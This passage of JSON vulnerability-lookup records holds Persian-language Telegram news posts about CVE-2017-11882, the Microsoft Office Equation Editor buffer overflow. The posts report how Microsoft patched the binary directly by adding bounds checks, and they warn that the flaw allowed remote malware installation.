\u0627\u062c\u0631\u0627\u06cc \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation\u060c \u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c \u0627\u0633\u062a\u060c \u0632\u06cc\u0631\u0627 \u0641\u0642\u0637 \u062f\u0631 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u06a9\u0647 \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0646\u0633\u062e\u0647 \u0642\u0628\u0644\u06cc \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647 \u0645\u0634\u0627\u0628\u0647 \u0628\u0627\u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a ACROS\u060c Mitja Kolsek \u062a\u0648\u0636\u06cc\u062d \u0645\u06cc\u200c\u062f\u0647\u062f: \u00ab\u067e\u06cc\u0645\u0627\u0646\u200c\u06a9\u0627\u0631\u0627\u0646 \u0648 \u06a9\u0627\u0631\u0645\u0646\u062f\u0627\u0646 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0633\u06cc\u0627\u0631 \u0645\u0627\u0647\u0631\u0627\u0646\u0647 \u0631\u0648\u06cc \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u0647 \u0648 \u06a9\u062f \u0646\u0627\u0642\u0635 \u0631\u0627 \u062a\u0634\u062e\u06cc\u0635 \u062f\u0627\u062f\u0647\u200c\u0627\u0646\u062f \u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0628\u0627 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u0644\u0639\u0645\u0644\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f\u060c \u06a9\u062f\u0647\u0627\u06cc \u0642\u0628\u0644\u06cc \u0631\u0627 \u0628\u0627 \u06a9\u062f\u0647\u0627\u06cc \u0628\u0647\u062a\u0631 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f.\u00bb\n\n\ud83d\udc48\ud83c\udffb \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u062f\u0631\u0628\u0627\u0631\u0647\u200c\u06cc \u0646\u062d\u0648\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0638\u0647\u0627\u0631 \u0646\u0638\u0631\u06cc \u0646\u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\u0627\u06cc\u0646 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f: \u00ab\u0628\u0627 \u0645\u0642\u0627\u06cc\u0633\u0647\u200c\u06cc \u0646\u0633\u062e\u0647\u200c\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647 \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u06cc \u0627\u0635\u0644\u06cc \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u0627\u062b\u0628\u0627\u062a \u0645\u06cc\u200c\u0634\u0648\u062f. \u0647\u06cc\u0686 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0632\u0628\u0627\u0646 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc C \u06cc\u0627 C++ \u067e\u0633 \u0627\u0632 \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u06cc\u06a9 \u06a9\u062f \u0645\u0646\u0628\u0639 \u062a\u063a\u06cc\u06cc\u0631\u06cc\u0627\u0641\u062a\u0647\u060c \u062a\u0645\u0627\u0645 \u062a\u0648\u0627\u0628\u0639 \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u062f\u0631 \u06cc\u06a9 \u0645\u0627\u0698\u0648\u0644 \u0631\u0627 \u062f\u0631 \u0647\u0645\u0627\u0646 \u0622\u062f\u0631\u0633 \u0642\u0628\u0644\u06cc \u0642\u0631\u0627\u0631 \u0646\u0645\u06cc\u200c\u062f\u0647\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0646\u062a\u0627\u06cc\u062c BinDiff (\u0627\u0628\u0632\u0627\u0631 \u0645\u0642\u0627\u06cc\u0633\u0647\u200c\u06cc \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0628\u0627\u06cc\u0646\u0631\u06cc) \u0628\u06cc\u0646 \u062f\u0648 \u067e\u0631\u0648\u0646\u062f\u0647 \u0646\u0634\u0627\u0646 \u062f\u0627\u062f \u06a9\u0647 \u062a\u0645\u0627\u0645 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0627\u0648\u0644\u06cc\u0647\u200c\u06cc EA \u0628\u0627 \u0645\u0642\u0627\u062f\u0631 \u062b\u0627\u0646\u0648\u06cc\u0647\u200c\u06cc EA \u062a\u0648\u0627\u0628\u0639 \u062a\u0637\u0628\u06cc\u0642\u200c\u06cc\u0627\u0641\u062a\u0647 \u06cc\u06a9\u0633\u0627\u0646 \u0647\u0633\u062a\u0646\u062f \u0648 \u062d\u062a\u06cc \u062a\u0648\u0627\u0628\u0639 \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647 \u062f\u0627\u0631\u0627\u06cc \u0622\u062f\u0631\u0633\u200c\u200c\u0647\u0627\u06cc \u06cc\u06a9\u0633\u0627\u0646 \u062f\u0631 \u062f\u0648 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0647\u0633\u062a\u0646\u062f.\n\u062f\u0631 \u0646\u062a\u06cc\u062c\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u062a\u0648\u0633\u0637 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0634\u0631\u06a9\u062a Embedi \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0628\u0631\u0631\u0633\u06cc \u0646\u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0622\u06cc\u0627 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u062d\u062c\u0645 \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0631\u0627\u06cc \u0630\u062e\u06cc\u0631\u0647\u200c\u06cc \u0631\u0634\u062a\u0647\u200c\u06cc \u062a\u0648\u0644\u06cc\u062f\u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u062f\u0627\u0631\u062f \u06cc\u0627 \u062e\u06cc\u0631. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646\u060c \u0627\u06af\u0631 \u0646\u0627\u0645 \u0641\u0648\u0646\u062a\u200c \u0627\u0646\u062a\u062e\u0627\u0628\u200c\u0634\u062f\u0647 \u062f\u0631 \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u062e\u06cc\u0644\u06cc \u0628\u0632\u0631\u06af \u0628\u0627\u0634\u062f\u060c \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0645\u0646\u062c\u0631\u0628\u0647 \u06cc\u06a9 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631 \u0634\u0648\u062f.\n\n\u0627\u06a9\u0646\u0648\u0646 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f \u0628\u0647 \u0645\u0646\u0638\u0648\u0631 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631\u060c \u06cc\u06a9 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u062f\u06cc\u06af\u0631 \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0627\u0636\u0627\u0641\u0647\u200c \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0631\u0627 \u062f\u0631 \u062e\u0648\u062f \u0646\u06af\u0647 \u0645\u06cc\u200c\u062f\u0627\u0631\u062f\u060c \u0648 \u0648\u0642\u062a\u06cc \u0634\u0645\u0627\u0631\u0646\u062f\u0647\u200c\u06cc \u062d\u0644\u0642\u0647\u200c\u0627\u06cc \u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a \u0646\u0648\u06cc\u0633\u0647\u200c\u0647\u0627 \u0631\u0627 \u062f\u0631 \u0628\u0627\u0641\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u0647 \u0627\u0646\u062f\u0627\u0632\u0647\u200c\u06cc \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0631\u0633\u06cc\u062f\u060c \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062d\u0644\u0642\u0647 \u0628\u0647 \u067e\u0627\u06cc\u0627\u0646 \u0645\u06cc\u200c\u0631\u0633\u062f. Kolsek \u062e\u0627\u0637\u0631 \u0646\u0634\u0627\u0646 \u06a9\u0631\u062f:\n\u00ab\u0639\u0644\u0627\u0648\u0647\u200c\u0628\u0631 \u0627\u06cc\u0646\u060c \u062f\u0631 \u0645\u0648\u0627\u0631\u062f\u06cc \u06a9\u0647 \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0628\u0647 \u067e\u0627\u06cc\u0627\u0646 \u0628\u0631\u0633\u062f\u060c \u0631\u0634\u062a\u0647 \u0627\u06cc \u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a\u06cc \u0627\u0632 \u0622\u0646 \u062f\u0631 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0628\u0627 \u0635\u0641\u0631 \u067e\u0627\u06cc\u0627\u0646 \u0645\u06cc\u200c\u067e\u0630\u06cc\u0631\u062f (\u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u0628\u0627\u0639\u062b \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0645\u0634\u062e\u0635 \u0634\u0648\u062f \u06a9\u0647 \u062a\u0647\u06cc\u0647\u200c\u06cc \u0631\u0648\u0646\u0648\u0634\u062a \u0627\u0632 \u0627\u06cc\u0646 \u0631\u0634\u062a\u0647 \u0628\u0647 \u067e\u0627\u06cc\u0627\u0646 \u0646\u0631\u0633\u06cc\u062f\u0647 \u0627\u0633\u062a).\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0627\u06cc\u0646 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f: \u00ab\u0639\u0644\u0627\u0648\u0647\u200c\u0628\u0631 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u062f\u0631 \u0646\u0633\u062e\u0647 \u06cc \u062c\u062f\u06cc\u062f \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0645\u0647\u0646\u062f\u0633\u0627\u0646\u06cc \u06a9\u0647 \u062a\u0627\u0628\u0639 \u062f\u0627\u0631\u0627\u06cc \u0627\u0634\u06a9\u0627\u0644 \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0648\u0627\u0646\u0633\u062a\u0647\u200c\u0627\u0646\u062f \u062d\u062c\u0645 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0631\u0627 \u06f1\u06f4 \u0628\u0627\u06cc\u062a \u06a9\u0645\u062a\u0631 \u06a9\u0646\u0646\u062f. \u0645\u0647\u0645\u200c\u062a\u0631 \u0627\u0632 \u0647\u0645\u0647 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0647\u0646\u062f\u0633\u0627\u0646 \u062a\u0648\u0627\u0628\u0639 \u062f\u06cc\u06af\u0631\u06cc \u0631\u0627 \u0646\u06cc\u0632 \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0647 \u0627\u062d\u062a\u0645\u0627\u0644 \u0632\u06cc\u0627\u062f \u0622\u0646\u200c\u0647\u0627 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a\u0647\u200c\u0627\u0646\u062f \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644\u0627\u062a \u0631\u0627 \u0646\u06cc\u0632 \u0648\u0635\u0644\u0647 \u06a9\u0646\u0646\u062f.\u00bb\n\n\u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u062f\u0631 \u062f\u0648 \u062a\u0627\u0628\u0639 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647\u060c \u062f\u0631\u0633\u062a \u0642\u0628\u0644 \u0627\u0632 \u0639\u0645\u0644\u06cc\u0627\u062a\u200c\u0647\u0627\u06cc memcpy (\u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a\u06cc \u0627\u0632 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0627\u0632 \u062d\u0627\u0641\u0638\u0647 \u0631\u0627 \u062f\u0631 \u0622\u062f\u0631\u0633 \u062f\u06cc\u06af\u0631\u06cc \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u200c\u062f\u0647\u062f) \u0628\u0631\u0631\u0633\u06cc\u200c \u0645\u062d\u062f\u0648\u062f\u0647 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f. Kolsek \u06af\u0641\u062a: \u00ab\u0645\u0647\u0646\u062f\u0633\u0627\u0646\u06cc \u06a9\u0647 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0631\u0627\u06cc \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u06cc\u0646 \u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0627\u0632 \u06cc\u06a9 \u062f\u0633\u062a\u0648\u0631\u0627\u0644\u0639\u0645\u0644 \u0648\u0627\u062d\u062f \u062f\u0631 \u0647\u0631 \u062f\u0648 \u062a\u0627\u0628\u0639 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0648 \u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u0628\u0627\u0639\u062b \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u06a9\u062f \u0627\u06cc\u0646 \u062a\u0648\u0627\u0628\u0639 \u0627\u0632 \u0646\u0638\u0631 \u0645\u0646\u0637\u0642\u06cc \u06cc\u06a9\u0633\u0627\u0646 \u0628\u0627\u0634\u062f\u060c \u0627\u0645\u0627 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0628\u0631\u0627\u06cc \u0627\u0641\u0632\u0648\u062f\u0646 \u06a9\u062f\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u06cc\u0646 \u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0648 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0635\u0641\u0631 \u062f\u0631 \u067e\u0627\u06cc\u0627\u0646 \u0631\u0634\u062a\u0647\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a \u0622\u0646\u200c\u0647\u0627 \u062a\u0647\u06cc\u0647\u200c \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0641\u0636\u0627\u06cc \u062e\u0627\u0644\u06cc \u0627\u06cc\u062c\u0627\u062f \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c", "creation_timestamp": "2026-07-26T07:01:56.897474Z"}, {"uuid": "2fa0a36f-ada5-4c7d-836c-47b87c8234bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6531", "content": "\u0627\u06cc\u0646 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0627\u0638\u0647\u0627\u0631 \u06a9\u0631\u062f:\u200c \u00ab\u062f\u0631 \u062f\u0648 \u062a\u0627\u0628\u0639 \u0627\u0635\u0644\u0627\u062d\u200c\u0634\u062f\u0647\u060c \u0634\u0634 \u0645\u0648\u0631\u062f \u0628\u0631\u0631\u0633\u06cc \u0645\u062d\u062f\u0648\u062f\u0647 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f\u060c \u0648 \u0627\u0632 \u0622\u0646\u200c\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0647 \u0646\u0638\u0631 \u0646\u0645\u06cc\u200c\u0633\u062f \u0627\u06cc\u0646 \u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0628\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0645\u0631\u0628\u0648\u0637 \u0628\u0627\u0634\u0646\u062f\u060c \u0645\u0627 \u0645\u0639\u062a\u0642\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0686\u0646\u062f \u0628\u0631\u062f\u0627\u0631 \u062d\u0645\u0644\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631 \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0645\u0646\u062c\u0631\u0628\u0647 \u06cc\u06a9 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631 \u0634\u0648\u0646\u062f \u0648 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a\u0647 \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0646\u062f.\u00bb\n\n\u0648\u06cc \u0627\u0641\u0632\u0648\u062f: \u00ab\u0648\u0635\u0644\u0647\u200c\u06cc \u06cc\u06a9 \u0645\u062d\u0635\u0648\u0644 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u06cc \u0627\u0632 \u0637\u0631\u06cc\u0642 \u06a9\u062f\u0647\u0627\u06cc \u0628\u0627\u06cc\u0646\u0631\u06cc\u200c \u0628\u0647 \u062c\u0627\u06cc \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u06a9\u062f \u0645\u0646\u0628\u0639 \u062a\u063a\u06cc\u06cc\u0631\u06cc\u0627\u0641\u062a\u0647\u200c\u060c \u0628\u0633\u06cc\u0627\u0631 \u0645\u0634\u06a9\u0644 \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0645\u0647\u0646\u062f\u0633\u0627\u0646 \u0645\u0627\u06cc\u0631\u0648\u0633\u0627\u0641\u062a \u0647\u0646\u06af\u0627\u0645 \u0648\u0635\u0644\u0647\u200c\u06cc \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation\u060c \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0628\u0631\u062c\u0633\u062a\u0647 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u0647\u200c\u0627\u0646\u062f. \u0628\u0627 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0642\u062f\u06cc\u0645\u06cc \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0647\u0646\u0648\u0632 \u0647\u0645 \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u06a9\u0647 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062d\u0627\u0644 \u0634\u0648\u062f \u06a9\u0647 \u0627\u0633\u0646\u0627\u062f\u06cc \u06a9\u0647 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0646\u0633\u062e\u0647\u200c\u06cc \u0642\u062f\u06cc\u0645\u06cc \u0627\u06cc\u062c\u0627\u062f \u0634\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0627 \u0646\u0633\u062e\u0647 \u06cc \u062c\u062f\u06cc\u062f \u0646\u06cc\u0632 \u0633\u0627\u0632\u06af\u0627\u0631 \u0647\u0633\u062a\u0646\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u062a\u0646\u0647\u0627 \u0633\u0648\u0627\u0644\u06cc \u06a9\u0647 \u0628\u062f\u0648\u0646 \u062c\u0648\u0627\u0628 \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u0647\u060c \u0627\u06cc\u0646 \u0627\u0633\u062a \u06a9\u0647 \u0686\u0631\u0627 \u0634\u0631\u06a9\u062a \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0647 \u062c\u0627\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u06a9\u062f \u0645\u0646\u0628\u0639 \u0648 \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u0622\u0646 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a \u06a9\u0647 \u0645\u0633\u062a\u0642\u06cc\u0645\u0627 \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0647\u062f. \u0628\u0631\u062e\u06cc \u0645\u0639\u062a\u0642\u062f\u0646\u062f \u06a9\u0647 \u0645\u0645\u06a9\u0646 \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u06a9\u062f \u0645\u0646\u0628\u0639 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0631\u0627 \u0627\u0632 \u062f\u0633\u062a \u062f\u0627\u062f\u0647 \u0628\u0627\u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c", "creation_timestamp": "2026-07-26T07:01:56.941013Z"}, {"uuid": "092a48ca-2bb6-4171-af8e-1d936e5ccf35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6369", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0628\u0647 \u0646\u0641\u0648\u0630\u06af\u0631 \u0627\u062c\u0627\u0632\u0647\u200c\u06cc \u0646\u0635\u0628 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0628\u062f\u0648\u0646 \u062a\u0639\u0627\u0645\u0644 \u0628\u0627 \u06a9\u0627\u0631\u0628\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udcd7 \u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd7\n\u0647\u0646\u06af\u0627\u0645 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627 \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0628\u0627\u06cc\u062f \u0628\u0633\u06cc\u0627\u0631 \u0645\u0631\u0627\u0642\u0628 \u0628\u0627\u0634\u06cc\u062f.\n\n\u0647\u0646\u06af\u0627\u0645\u06cc\u200c\u06a9\u0647 \u062c\u0647\u0627\u0646 \u0647\u0645\u0686\u0646\u0627\u0646 \u0628\u0627 \u062a\u0647\u062f\u06cc\u062f \u0648\u06cc\u0698\u06af\u06cc \u062f\u0627\u062e\u0644\u06cc DDE \u00ab\u0648\u0635\u0644\u0647 \u0646\u0634\u062f\u0647\u00bb \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0645\u0648\u0627\u062c\u0647 \u0627\u0633\u062a\u060c \u0645\u062d\u0642\u0642\u0627\u0646 \u06cc\u06a9 \u0645\u0648\u0636\u0648\u0639 \u062c\u062f\u06cc \u062f\u0631 \u0645\u0648\u0644\u0641\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0627\u0632 \u0622\u0641\u06cc\u0633 \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u0631 \u0631\u0648\u06cc \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0647\u062f\u0641 \u0646\u0635\u0628 \u0646\u0645\u0627\u06cc\u0646\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06cc\u06a9 \u0627\u0634\u06a9\u0627\u0644 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062d\u0627\u0641\u0638\u0647 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u062a\u0645\u0627\u0645 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u062f\u0631 \u06f1\u06f7 \u0633\u0627\u0644 \u06af\u0630\u0634\u062a\u0647\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 